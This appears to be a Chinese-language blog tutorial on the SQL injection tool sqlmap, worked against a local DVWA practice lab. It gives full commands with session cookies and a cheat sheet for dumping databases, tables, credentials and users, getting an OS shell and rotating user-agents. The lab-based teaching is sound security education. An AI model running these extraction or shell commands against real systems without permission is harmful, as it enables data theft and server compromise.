sql注入工具-sqlmap

介绍:

  • sqlmap是一款开源的自动化SQL注入工具,用于自动化检测和利用Web应用程序中的SQL注入漏洞。它具有强大的参数化查询和自定义注入脚本的功能,可以通过检测和利用SQL注入漏洞来获取数据库的敏感信息,如用户名、密码和其他重要数据。
  • sqlmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL和Microsoft SQL Server等。它可以通过发送特制的HTTP请求来检测和利用SQL注入漏洞,还可以使用不同的技术和方法来绕过应用程序的防御机制,以获取更多的信息和访问权限。
  • sqlmap具有命令行界面和图形用户界面两种使用方式,用户可以根据自己的需求选择合适的界面来操作。它支持各种高级注入技术,如时间延迟注入、布尔盲注和报错注入等,可以高效地检测和利用各种类型的SQL注入漏洞。
  • 总之,sqlmap是一款功能强大的SQL注入工具,可以帮助安全研究人员和渗透测试人员自动化检测和利用Web应用程序中的SQL注入漏洞,从而提高安全性和保护敏感数据。

1. sqlmap工具安装

下载: GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

提示:如果你有kali虚拟机,也可以使用kali上自带的sqlmap


2. 快速上手sqlmap

提示:以下示例中使用的靶场为dvwa

1. 初体验-检测注入点:难度为 low 的 SQL Injection

如果测试的接口是登录后的那么就需要携带cookie给sqlmap,以下是关于cookie的获取方式

打开开发者工具,点击网络,然后重新刷新网页,找到sqli开头的文档,找到cookie然后复制

或者打开开发者工具后,在控制台输入,copy(document.cookie),就会自动复制

  1. 疑似存在注入点的url:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

  2. 打开sqlmap,执行命令:检测注入点

    bash 复制代码
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tvdumf3v7rku6h1l7st3fjrv6v'
  3. 执行完成的结果:


2. 初体验-检测注入点:难度为 High 的 SQL Injection

  • 主要是学习sqlmap,怎么用于对拥有二级页面的网址进行扫描
  • sqlmap针对于存在二级页面的使用方式
  • 这里可以将输入数据的页面称为一级页面,返回数据的页面称为二级页面

使用命令:

复制代码
python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"

命令解读:python .\sqlmap.py -u "提交数据的网址" --data="POST请求的数据" --second-url="返回数据的网址" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"


3.常用命令

基本的常用命令:

  • 检测注入点:sqlmap.py -u "疑似存在注入点的url"
  • 查看所有数据库:sqlmap.py -u "疑似存在注入点的url" --dbs
  • 查看当前使用的数据库:sqlmap.py -u "疑似存在注入点的url" --current-db
  • 查看数据表:sqlmap.py -u "疑似存在注入点的url" --tables
    • 或指定某个查看数据库的数据表名:sqlmap.py -u "疑似存在注入点的url" -D ""数据库 --tables
  • 查看数据表所有数据:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --dump
    • 或者查看数据表中指定字段的数据:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' -C "user,password" --dump
  • 获取数据库密码:sqlmap.py -u "疑似存在注入点的url" --password
  • 获取所有数据库用户:sqlmap.py -u "疑似存在注入点的url" --users
  • 指定扫描线程:sqlmap.py -u "疑似存在注入点的url" --threads=10
  • 设置cookie:sqlmap.py -u "疑似存在注入点的url" --cookie="cookie值"
  • 获取数据表字段:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns
  • 选项默认全选Y:sqlmap.py -u "疑似存在注入点的url" --batch
    • 使用--batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no),执行默认操作,不需要用户再输入
  • 注入探索等级,一般用4:sqlmap.py -u "疑似存在注入点的url" --level=1
    • --level 一共有5个等级:1-5
  • 设置注入类型:sqlmap.py -u "疑似存在注入点的url" --technique="注入的类型"
    • B:Boolean-based blind(布尔型注入)
    • E:Error-based(报错型注入)
    • U:Union query-based(可联合查询注入)
    • S:Stacked queries(可多语句查询注入)
    • T:Time-based blind(基于时间延迟注入)
    • Q:Inline queries(嵌套查询注入)
    • 使用方式:
        1. 检测注入点:sqlmap.py -u "疑似存在注入点的url"
        1. 知道存在的注入点后-设置technique:sqlmap.py -u "疑似存在注入点的url" --technique="B"
    • 获取数据库服务器的操作系统shell访问权限:--os-shell
      • sqlmap.py -u "疑似存在注入点的url" --os-shell
  • 批量检测url命令 -m : sqlmap.py -m urls.txt
  • 检测burp抓包格式 -r: sqlmap.py -r burp.txt
  • 指定输出结果路径 --output-dir 路径: sqlmap.py -r burp.txt --output-dir C:\User\1111\Desktop\
  • 设置随机的HTTP User-Agent: sqlmap.py -u "疑似存在注入点的url" --random-agent
  • 指定url参数:sqlmap.py -u "疑似存在注入点的url" -p "id"
  • 以上的命令都能联合使用:
    • 例如:

      复制代码
      sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns -threads=10 --dump 

关于level参数和risk参数

  • level参数: --level 参数决定了sqlmap在检测sql注入时的努力程度
    • level 1:默认的level等级,会测试GET和POST请求中的参数
    • level 2:除了前面提到的,还会检测cookie中的数据
    • level 3:user-agent和referer头部也纳入检测返回
    • level4~5:会尝试各种payloads 和边界条件,确保不放过任何潜在的注入点
      • 关于什么是payloas:
        • "payload" 是一个常见的术语,指的是在攻击或渗透测试中用于执行某种操作或达到某种目的的恶意代码或数据。 在攻击者的角度,payload 可能是一段恶意代码,用于利用系统或应用程序中的漏洞,以获取未授权的访问权限、执行命令、窃取敏感信息等。
      • 默认使用sqlmap中的payloads
      • 关于自定义payloads请在搜索引擎上查找相关资料
  • risk参数: --risk 与 --level 不同,-risk 参数更像是告诉 sqlmap:"我愿意承担多大的风险来进行这次测试
    • risk 1:安全第一,默认的风险等级,风险几乎为 0
    • risk 2:除了默认的检测,还会尝试时间型盲注
    • risk 3:在风险等级2的基础上,在加上 OR 类型的布尔型盲注。这种方式在某些情况下可能会导致数据表的所有记录被更新,所以使用时需谨慎。
  • level 和 risk的区别:
    • 方向不同--level 更像是广度上的拓展,而 --risk 则是深度上的挖掘。
    • 场景不同: 如果觉得默认的 GET 和 POST 参数检测不够,想要找找其它位置的注入点时,可以考虑加 --level 等级。如果可以确定某个位置就是存在注入点,或是强烈怀疑某个地方存在注入,但目前的 payload 覆盖不到,而且愿意承担风险进行深入测试时,可以考虑提升 --risk 等级。
相关推荐
学编程的小程5 小时前
从“单模冲锋”到“多模共生”——2026 国产时序数据库新物种进化图谱
数据库·时序数据库
卓怡学长5 小时前
m111基于MVC的舞蹈网站的设计与实现
java·前端·数据库·spring boot·spring·mvc
写代码的【黑咖啡】5 小时前
Python中的JSON处理(标准库)
开发语言·python·json
存在的五月雨5 小时前
Redis的一些使用
java·数据库·redis
小冷coding12 小时前
【MySQL】MySQL 插入一条数据的完整流程(InnoDB 引擎)
数据库·mysql
Elias不吃糖12 小时前
Java Lambda 表达式
java·开发语言·学习
梨子串桃子_12 小时前
推荐系统学习笔记 | PyTorch学习笔记
pytorch·笔记·python·学习·算法
guygg8813 小时前
一级倒立摆MATLAB仿真程序
开发语言·matlab
情缘晓梦.13 小时前
C语言指针进阶
java·开发语言·算法
鲨莎分不晴13 小时前
Redis 基本指令与命令详解
数据库·redis·缓存